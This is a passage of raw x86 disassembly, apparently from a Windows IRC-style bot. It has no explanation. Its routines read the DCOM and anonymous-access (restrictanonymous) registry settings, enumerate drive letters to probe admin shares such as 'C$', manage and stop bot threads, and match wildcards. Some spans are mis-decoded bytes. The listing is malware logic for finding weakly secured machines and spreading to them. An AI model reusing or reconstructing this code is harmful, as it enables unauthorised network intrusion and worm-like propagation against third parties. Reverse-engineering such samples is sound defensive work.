					; sub_410DD4+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_411087


loc_411007:				; CODE XREF: sub_410DD4+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_413D1C
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41107C
		push	edi
		call	sub_40F9A4
		push	eax
		push	0
		call	sub_40FAB7
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_411036
		push	offset unk_42F228
		jmp	short loc_41103B
; ---------------------------------------------------------------------------


loc_411036:				; CODE XREF: sub_410DD4+259j
		push	offset unk_42F1E8


loc_41103B:				; CODE XREF: sub_410DD4+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_411EDA
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41106F
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F466
		add	esp, 14h


loc_41106F:				; CODE XREF: sub_410DD4+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_408CFE
		pop	ecx


loc_41107C:				; CODE XREF: sub_410DD4+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_411007
		xor	edi, edi


loc_411087:				; CODE XREF: sub_410DD4+22Dj
		push	[ebp+var_8]
		call	ds:dword_431F20


loc_411090:				; CODE XREF: sub_410DD4+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_410F5B
		lea	eax, [ebp+var_214]
		push	offset unk_42F1AC
		push	eax
		call	sub_411963
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_4110C6
; ---------------------------------------------------------------------------


loc_4110B3:				; CODE XREF: sub_410DD4+177j
		lea	eax, [ebp+var_214]
		push	offset unk_42F168
		push	eax
		call	sub_411963
		pop	ecx
		pop	ecx


loc_4110C6:				; CODE XREF: sub_410DD4+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_4110E4
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F466
		add	esp, 14h


loc_4110E4:				; CODE XREF: sub_410DD4+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_408CFE
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_410DD4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4110F8	proc near		; CODE XREF: sub_410D74:loc_410DBBp

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_431F60, ebx
		push	esi
		jnz	loc_411226
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	ds:dword_431F00
		test	eax, eax
		jnz	short loc_411183
		mov	ax, ds:word_42F6D8
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_411FB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	ds:dword_431EB4
		test	eax, eax
		jz	short loc_411165
		push	offset unk_42F6A0
		jmp	short loc_41116A
; ---------------------------------------------------------------------------


loc_411165:				; CODE XREF: sub_4110F8+64j
		push	offset dword_42F670


loc_41116A:				; CODE XREF: sub_4110F8+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_411963
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_431E6C
		jmp	short loc_411196
; ---------------------------------------------------------------------------


loc_411183:				; CODE XREF: sub_4110F8+36j
		lea	eax, [ebp+var_220]
		push	offset unk_42F418
		push	eax
		call	sub_411963
		pop	ecx
		pop	ecx


loc_411196:				; CODE XREF: sub_4110F8+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_4111B5
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F466
		add	esp, 14h


loc_4111B5:				; CODE XREF: sub_4110F8+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_408CFE
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	ds:dword_431F00
		test	eax, eax
		jnz	short loc_41121F
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	ds:dword_431EB4
		test	eax, eax
		jz	short loc_411201
		push	offset unk_42F620
		jmp	short loc_411206
; ---------------------------------------------------------------------------


loc_411201:				; CODE XREF: sub_4110F8+100j
		push	offset unk_42F5D8


loc_411206:				; CODE XREF: sub_4110F8+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_411963
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_431E6C
		jmp	short loc_411239
; ---------------------------------------------------------------------------


loc_41121F:				; CODE XREF: sub_4110F8+E2j
		push	offset unk_42F588
		jmp	short loc_41122B
; ---------------------------------------------------------------------------


loc_411226:				; CODE XREF: sub_4110F8+13j
		push	offset unk_42F2D8


loc_41122B:				; CODE XREF: sub_4110F8+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_411963
		pop	ecx
		pop	ecx


loc_411239:				; CODE XREF: sub_4110F8+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_411258
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F466
		add	esp, 14h


loc_411258:				; CODE XREF: sub_4110F8+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_408CFE
		cmp	ds:dword_431F88, ebx
		pop	ecx
		jnz	loc_4113CA
		push	edi
		mov	esi, offset off_42F128
		mov	edi, 200h


loc_41127C:				; CODE XREF: sub_4110F8+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_40FA0B
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_411297
		push	offset unk_42F554
		jmp	short loc_41129C
; ---------------------------------------------------------------------------


loc_411297:				; CODE XREF: sub_4110F8+196j
		push	offset unk_42F518


loc_41129C:				; CODE XREF: sub_4110F8+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_411EDA
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_4112CB
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F466
		add	esp, 14h


loc_4112CB:				; CODE XREF: sub_4110F8+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_408CFE
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_42F138
		jl	short loc_41127C
		call	near ptr 0A70000h
		repne test eax,	eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_4113B2


loc_4112F6:				; CODE XREF: sub_4110F8+2B4j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_4113A7
		cmp	bl, 41h
		jz	loc_4113A7
		movsx	esi, bl
		push	esi
		push	offset aC_2	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_411EDA
		push	esi
		push	offset aC_1	; "%c:\\"
		lea	eax, [ebp+var_20]
		push	0Ah
		push	eax
		call	sub_411EDA
		add	esp, 20h
		lea	eax, [ebp+var_20]
		push	eax
		call	ds:dword_431EF0
		cmp	eax, 3
		jnz	short loc_4113A7
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_40FA0B
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_411365
		push	offset unk_42F554
		jmp	short loc_41136A
; ---------------------------------------------------------------------------


loc_411365:				; CODE XREF: sub_4110F8+264j
		push	offset unk_42F518


loc_41136A:				; CODE XREF: sub_4110F8+26Bj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_411EDA
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41139A
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F466
		add	esp, 14h


loc_41139A:				; CODE XREF: sub_4110F8+286j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_408CFE
		pop	ecx


loc_4113A7:				; CODE XREF: sub_4110F8+206j
					; sub_4110F8+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_4112F6


loc_4113B2:				; CODE XREF: sub_4110F8+1F8j
		lea	eax, [ebp+var_220]
		push	offset unk_42F4D4
		push	eax
		call	sub_411963
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_4113DD
; ---------------------------------------------------------------------------


loc_4113CA:				; CODE XREF: sub_4110F8+173j
		lea	eax, [ebp+var_220]
		push	offset unk_42F168
		push	eax
		call	sub_411963
		pop	ecx
		pop	ecx


loc_4113DD:				; CODE XREF: sub_4110F8+2D0j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_4113FB
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F466
		add	esp, 14h


loc_4113FB:				; CODE XREF: sub_4110F8+2E8j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_408CFE
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_4110F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41140F	proc near		; CODE XREF: seg000:00404AC3p
					; seg000:00405B09p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_436E20


loc_411417:				; CODE XREF: sub_41140F+18j
		cmp	byte ptr [eax],	0
		jz	short loc_41142B
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_460310
		jl	short loc_411417
		jmp	short loc_411476
; ---------------------------------------------------------------------------


loc_41142B:				; CODE XREF: sub_41140F+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_436E20[esi]
		push	eax
		call	sub_413150
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	ds:dword_437020[esi], eax
		and	ds:dword_437024[esi], 0
		mov	eax, [esp+8+arg_8]
		and	ds:dword_437028[esi], 0
		mov	ds:dword_43702C[esi], eax
		and	ds:byte_437038[esi], 0
		pop	esi


loc_411476:				; CODE XREF: sub_41140F+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_41140F	endp

; ---------------------------------------------------------------------------
word_41147A	dw 8B55h		; DATA XREF: seg000:0040EE6Ao
		dd 98EC81ECh, 8B000000h, 57560845h, 8B59266Ah, 68BD8DF0h
		dd 0F3FFFFFFh, 0F075FFA5h, 9480C7h, 10000h, 858D0000h
		dd 0FFFFFF6Ch, 50F475FFh, 0FF68B5FFh, 15E8FFFFh, 0FF000000h
		dd 6CE8EC75h, 83000002h, 6A14C4h, 65EB37E8h, 5E5FD400h
		dd 81EC8B55h, 200ECh, 6A575600h, 1075FF00h, 42F7D068h
		dd 0C75FF00h, 0E80875FFh, 0FFFFDF7Ah, 3314C483h, 6E20BEFFh
		dd 3E800043h, 833C7400h, 7500147Dh, 4BE8309h, 2, 57562D75h
		dd 0FE00858Dh, 0F068FFFFh, 500042D9h, 446E8h, 8D016A00h
		dd 0FFFE0085h, 1075FFFFh, 0C75FF50h, 0E80875FFh, 0FFFFDF32h
		dd 8124C483h, 234C6h, 0FE814700h, 460310h, 5E5FB07Ch
; ---------------------------------------------------------------------------
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41154A	proc near		; CODE XREF: seg000:0040E24Ap
					; sub_4115D8+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_4115D2
		cmp	esi, 12Ch
		jge	short loc_4115D2
		imul	esi, 234h
		push	edi
		push	ebx
		push	ds:dword_437034[esi]
		lea	edi, dword_437034[esi]
		call	near ptr 0A70000h
		bound	edi, [ecx]
		pop	ds
		jz	short loc_411582
		push	1
		pop	ebp


loc_411582:				; CODE XREF: sub_41154A+33j
		mov	[edi], ebx
		lea	edi, dword_437028[esi]
		mov	ds:dword_437020[esi], ebx
		mov	ds:dword_437024[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_4115A3
		push	eax
		call	sub_41077B
		pop	ecx


loc_4115A3:				; CODE XREF: sub_41154A+50j
		mov	[edi], ebx
		lea	edi, dword_43702C[esi]
		mov	byte ptr ds:dword_436E20[esi], bl
		mov	ds:byte_437038[esi], bl
		push	dword ptr [edi]
		call	ds:dword_431F28
		lea	esi, dword_437030[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	ds:dword_431F28
		mov	[esi], ebx
		pop	edi


loc_4115D2:				; CODE XREF: sub_41154A+Dj
					; sub_41154A+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41154A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4115D8	proc near		; CODE XREF: seg000:loc_407BF4p
					; seg000:004098EDp ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_436E20


loc_4115E4:				; CODE XREF: sub_4115D8+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_4115F5
		push	edi
		call	sub_41154A
		test	eax, eax
		pop	ecx
		jz	short loc_4115F5
		inc	ebx


loc_4115F5:				; CODE XREF: sub_4115D8+Fj
					; sub_4115D8+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_460310
		jl	short loc_4115E4
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_4115D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41160A	proc near		; CODE XREF: sub_41169D+1Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_437024


loc_41161E:				; CODE XREF: sub_41160A+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_411640
		test	edi, edi
		jle	short loc_411632
		cmp	[esi], edi
		jz	short loc_411632
		cmp	ebx, edi
		jnz	short loc_411640


loc_411632:				; CODE XREF: sub_41160A+1Ej
					; sub_41160A+22j
		push	ebx
		call	sub_41154A
		test	eax, eax
		pop	ecx
		jz	short loc_411640
		inc	[ebp+var_4]


loc_411640:				; CODE XREF: sub_41160A+1Aj
					; sub_41160A+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_460514
		jl	short loc_41161E
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41160A	endp


; =============== S U B	R O U T	I N E =======================================



sub_411657	proc near		; CODE XREF: sub_4059A2+Bp
					; seg000:00405A46p ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_437020


loc_41165E:				; CODE XREF: sub_411657+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_411667
		inc	eax


loc_411667:				; CODE XREF: sub_411657+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_460510
		jl	short loc_41165E
		retn
sub_411657	endp


; =============== S U B	R O U T	I N E =======================================



sub_411676	proc near		; CODE XREF: seg000:0040E931p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_437020


loc_411680:				; CODE XREF: sub_411676+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_411699
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_460510
		jl	short loc_411680
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_411699:				; CODE XREF: sub_411676+10j
		mov	eax, edx
		pop	esi
		retn
sub_411676	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41169D	proc near		; CODE XREF: seg000:0040F013p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_4116B6
		push	[ebp+arg_1C]
		call	sub_411ECF
		pop	ecx


loc_4116B6:				; CODE XREF: sub_41169D+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_41160A
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_4116E2
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s)	stopped.)"...
		push	eax
		call	sub_411963
		add	esp, 14h
		jmp	short loc_4116FC
; ---------------------------------------------------------------------------


loc_4116E2:				; CODE XREF: sub_41169D+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s: No %s thread found."
		push	eax
		call	sub_411963
		add	esp, 10h


loc_4116FC:				; CODE XREF: sub_41169D+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_41171C
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F466
		add	esp, 14h


loc_41171C:				; CODE XREF: sub_41169D+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_408CFE
		pop	ecx
		leave
		retn
sub_41169D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41172B	proc near		; CODE XREF: start+A2p
					; seg000:004014D4p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	ds:dword_437034[eax], ecx
		mov	ds:dword_437020[eax], ecx
		mov	ds:dword_437024[eax], ecx
		mov	ds:dword_437028[eax], ecx
		mov	ds:dword_43702C[eax], ecx
		mov	ds:dword_437030[eax], ecx
		mov	byte ptr ds:dword_436E20[eax], cl
		mov	ds:byte_437038[eax], cl
		retn
sub_41172B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411768	proc near		; CODE XREF: seg000:0040F2F2p
					; sub_411896+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_411772:				; CODE XREF: sub_411768+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_4117D2
		cmp	eax, 1
		jnz	short loc_4117D2
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_4117D2
		cmp	cl, 2Ah
		jz	short loc_4117B9
		cmp	cl, 3Fh
		jz	short loc_41179C
		cmp	cl, 5Bh
		jz	short loc_4117A1
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_41179C:				; CODE XREF: sub_411768+26j
		inc	[ebp+arg_4]
		jmp	short loc_4117CC
; ---------------------------------------------------------------------------


loc_4117A1:				; CODE XREF: sub_411768+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_4117FE
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_4117CC
; ---------------------------------------------------------------------------


loc_4117B9:				; CODE XREF: sub_411768+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_411896
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_4117CC:				; CODE XREF: sub_411768+37j
					; sub_411768+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_411772
; ---------------------------------------------------------------------------


loc_4117D2:				; CODE XREF: sub_411768+Ej
					; sub_411768+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_4117E2
		cmp	eax, 1
		jnz	short loc_4117F9
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_4117D2
; ---------------------------------------------------------------------------


loc_4117E2:				; CODE XREF: sub_411768+6Dj
		cmp	eax, 1
		jnz	short loc_4117F9
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_4117F9
		cmp	byte ptr [esi],	0
		jnz	short loc_4117F9
		push	1
		pop	eax
		jmp	short loc_4117FB
; ---------------------------------------------------------------------------


loc_4117F9:				; CODE XREF: sub_411768+72j
					; sub_411768+7Dj ...
		xor	eax, eax


loc_4117FB:				; CODE XREF: sub_411768+8Fj
		pop	esi
		pop	ebp
		retn
sub_411768	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4117FE	proc near		; CODE XREF: sub_411768+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_41181F
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_41181F:				; CODE XREF: sub_4117FE+19j
		push	ebx
		push	esi


loc_411821:				; CODE XREF: sub_4117FE+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_41182F
		cmp	[ebp+var_4], eax
		jnz	short loc_41187B


loc_41182F:				; CODE XREF: sub_4117FE+2Aj
		test	edi, edi
		jnz	short loc_411870
		cmp	bl, 2Dh
		jnz	short loc_411864
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_411864
		cmp	al, 5Dh
		jz	short loc_411864
		cmp	[ebp+var_4], edi
		jnz	short loc_411864
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_411870
		cmp	bl, al
		jg	short loc_411870
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_411870
; ---------------------------------------------------------------------------


loc_411864:				; CODE XREF: sub_4117FE+38j
					; sub_4117FE+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_411870
		push	1
		pop	edi


loc_411870:				; CODE XREF: sub_4117FE+33j
					; sub_4117FE+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_411821
; ---------------------------------------------------------------------------


loc_41187B:				; CODE XREF: sub_4117FE+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_411888
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_411888:				; CODE XREF: sub_4117FE+82j
		cmp	edi, eax
		jnz	short loc_411891
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_411891:				; CODE XREF: sub_4117FE+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_4117FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411896	proc near		; CODE XREF: sub_411768+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_4118B2:				; CODE XREF: sub_411896+3Aj
		cmp	[eax], bl
		jz	short loc_4118D2
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_4118C7
		cmp	cl, 2Ah
		jnz	short loc_4118D2
		cmp	cl, 3Fh
		jnz	short loc_4118CA


loc_4118C7:				; CODE XREF: sub_411896+25j
		inc	eax
		mov	[edi], eax


loc_4118CA:				; CODE XREF: sub_411896+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_4118B2
; ---------------------------------------------------------------------------


loc_4118D2:				; CODE XREF: sub_411896+1Ej
					; sub_411896+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_4118DD
		inc	dword ptr [esi]
		jmp	short loc_4118D2
; ---------------------------------------------------------------------------


loc_4118DD:				; CODE XREF: sub_411896+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_4118FE
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_4118EF
		xor	eax, eax
		jmp	short loc_41195E
; ---------------------------------------------------------------------------


loc_4118EF:				; CODE XREF: sub_411896+53j
		cmp	cl, bl
		jnz	short loc_4118FE
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_4118FE
		push	1
		pop	eax
		jmp	short loc_41195E
; ---------------------------------------------------------------------------


loc_4118FE:				; CODE XREF: sub_411896+4Dj
					; sub_411896+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_411768
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411948


loc_41190C:				; CODE XREF: sub_411896+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_411910:				; CODE XREF: sub_411896+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_411928
		cmp	cl, 5Bh
		jz	short loc_411928
		cmp	dl, bl
		jz	short loc_411928
		inc	eax
		mov	[edi], eax
		jmp	short loc_411910
; ---------------------------------------------------------------------------


loc_411928:				; CODE XREF: sub_411896+82j
					; sub_411896+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_41193F
		push	eax
		push	dword ptr [esi]
		call	sub_411768
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_411944
; ---------------------------------------------------------------------------


loc_41193F:				; CODE XREF: sub_411896+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_411944:				; CODE XREF: sub_411896+A7j
		cmp	eax, ebx
		jnz	short loc_41190C


loc_411948:				; CODE XREF: sub_411896+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_41195B
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_41195B
		mov	[ebp+var_4], 1


loc_41195B:				; CODE XREF: sub_411896+B6j
					; sub_411896+BCj
		mov	eax, [ebp+var_4]


loc_41195E:				; CODE XREF: sub_411896+57j
					; sub_411896+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411896	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411963	proc near		; CODE XREF: start+61p
					; seg000:004013BAp ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_41408C
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_4119A3
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_4119B0
; ---------------------------------------------------------------------------


loc_4119A3:				; CODE XREF: sub_411963+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_413F77
		pop	ecx
		pop	ecx


loc_4119B0:				; CODE XREF: sub_411963+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_411963	endp


; =============== S U B	R O U T	I N E =======================================



sub_4119B5	proc near		; CODE XREF: start+2Ep
					; seg000:00401C1Cp ...

